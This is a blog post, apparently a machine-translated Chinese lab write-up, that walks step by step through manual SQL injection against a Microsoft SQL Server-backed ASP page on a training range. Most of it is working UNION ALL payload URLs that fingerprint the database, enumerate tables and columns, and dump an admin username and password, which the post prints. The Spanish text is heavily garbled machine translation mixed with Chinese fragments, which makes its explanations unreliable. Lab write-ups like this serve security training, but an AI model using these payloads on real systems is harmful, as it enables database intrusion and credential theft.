Nota manos de Microsoft SQL Server de la inyección de investigación conjunta

saulGoodman

Una serie de investigaciones ofensivo y defensivo se centró en equipo rojo del público

关注

Nota manos de Microsoft SQL Server de la inyección de investigación conjunta

la base de datos mssql Introducción

SQL Server Se  Microsoft introdujo sistemas de gestión de bases de datos relacionales. Fácil de utilizar el software con una buena ventajas de escalabilidad de alto grado de integración, puede abarcar desde las grandes multi-procesador que ejecuta Microsoft Windows ordenador portátil 98 para ejecutar el servidor de Microsoft Windows 2012 y otras plataformas.

Microsoft SQL Server Se trata de una plataforma de base de datos completa, utilizando inteligencia de negocio integrado (BI) proporcionan herramientas de gestión de datos de clase empresarial. Microsoft SQL Server motor de base de datos proporciona capacidades de almacenamiento, fiables más seguras para datos relacionales y datos estructurados, para que pueda construir y gestionar aplicaciones de alta disponibilidad y de datos de alto rendimiento para los negocios.

la base de datos mssql, entorno de prueba

Completa la instalación SQL Server 2008 de base de datos: https: //jingyan.baidu.com/article/948f592434b407d80ef5f97d.html

permisos de base de datos Mssql Introducción

sa权限:数据库操作,文件管理,命令执行,注册表读取等:相当于system
db权限:文件管理、数据库操作等等:相当于users-administrators
public权限:数据库操作:相当于guest-users

código de llamada base de datos mssql

<% 
set conn =server.createobject("adodb.connection") conn.open  "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"
%>


注释:uid:账号, pwd:密码

base de datos Mssql inyecta a mano

Determinar si la base de datos Mssql


Introduzca la SQLdeclaración, si 返回正常a continuación, que es la base de datos utilizada para el sitio Mssqlde base de datos, ya que Mssqlla base de datos tiene un valor predeterminado sysobjectsmesa.

SQL para determinar los permisos

and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员 
and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限 
and 1=(select is_srvrolemember('public'))   //判断是否为public权限

SQL vulnerabilidad de inyección de prueba manual (base de datos de SQL Server)

Direccionamiento: https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe

sitio de la inyección: http: //219.153.49.228: 42837 / new_list.asp id = 2?

Determinar si el Mssql

http://219.153.49.228:42837/new_list.asp?id=2 and exists(select * from sysobjects)

Volver a la normalidad, lo que indica que el sitio está en la base de datos Mssql!

longitud de campo Analizar

http://219.153.49.228:42837/new_list.asp?id=2 order by 5

order by 5Empujamos hacia adelante se devuelve un error:

http://219.153.49.228:42837/new_list.asp?id=2 order by 4

order by 4Volver a la normalidad, el campo de descripción es una longitud de 4!

Buscando la posición de visualización de caracteres

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,null,null,null
这里使用的是 union all,它和 union select 的区别就是:union select 会自动去除一些重复的字段!
在这个靶场使用 union select 是不行的,所以我们就用 union all
然后我使用的 null 是说明它无关是字符型还是数字型

A continuación uno por uno de adivinar su posición de visualización:

http://219.153.49.228:42837/new_list.asp?id=-2 union all select '1',null,null,null

'1'Él no respondió, lo que indica que no es la primera, luego continuar con la investigación y la siguiente  null:

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,'2',null,null

Esta vez tenía una página digital "2", lo que indica que 2esta posición podemos sacar provecho de él!

Seguimos buscando en el tercer lugar:

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,'2','3',null

Se puede ver en nuestras páginas de una adición ‘3’, una pantalla dígitos tercero también puede ir a su uso!

Nos fijamos en el cuarto (en realidad, será suficiente con pantalla de dos dígitos):

Creo que la cuarta página cuando no hay respuesta, lo que indica que sólo existe ‘2’, ‘3’dos bits de pantalla!

Otra información relevante

Ahora que tenemos la posición de visualización, entonces podemos utilizar el sitio para mostrar información de consulta que queremos conseguir!

@@version-:获取版本信息
db_name():数据库名字 
user,system_user,current_user,user_name:获取当前⽤户名 
@@SERVERNAME:获取有关服务器主机的信息

Obtener información sobre la versión

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,@@version,'3',null

Obtiene el nombre de la base

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,db_name(),'3',null

Obtener el nombre de base de datos actual

http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,user,'3',null
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,system_user,'3',null
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,current_user,'3',null

consultas muestran

http://219.153.49.228:42837/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4

Echa un vistazo aquí representa el primero  manage, y luego ir a ver un segundo (en este caso mi avión no tripulado para reiniciar un poco, por lo que el puerto ha cambiado):

http://219.153.49.228:43946/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4


注释:name not in ('manage') 这段语句意思是查询 name 不是 'manage' 的,这样就可以排除 'manage' 从而查询下一个表名

Echa un vistazo a la segunda nombre de la tabla  announcement, si desea continuar con la investigación, y luego continuar con  not in este juez consulta en la línea!

Obtiene el nombre de la columna

http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null


注释:col_name 是查询的列名,object_id('manage')是从manage这个表里查询,1 代表的是查询第一个列名

A continuación, echa un vistazo a la primera columna de nombre  id, seguimos buscando el segundo nombre de la columna sólo tiene que modificar el número del 1 al 2 en la línea col_name(object_id('manage'),2

http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null

Echa un vistazo a la segunda columna nombre  username, seguimos para consultar los nombres tercera columna:

http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null

La tercera columna es el nombre  password, esta vez conseguimos  username y  password columnas!

Obtener datos

http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,username, password ,null from manage

Esta vez inyectamos de su cuenta: admin_mzla contraseña  72e1bfc3f01b7583!

Publicado 12 artículos originales · ganado elogios 4 · Vistas 2270

Supongo que te gusta

Origin blog.csdn.net/weixin_46245322/article/details/105213370
Recomendado
Clasificación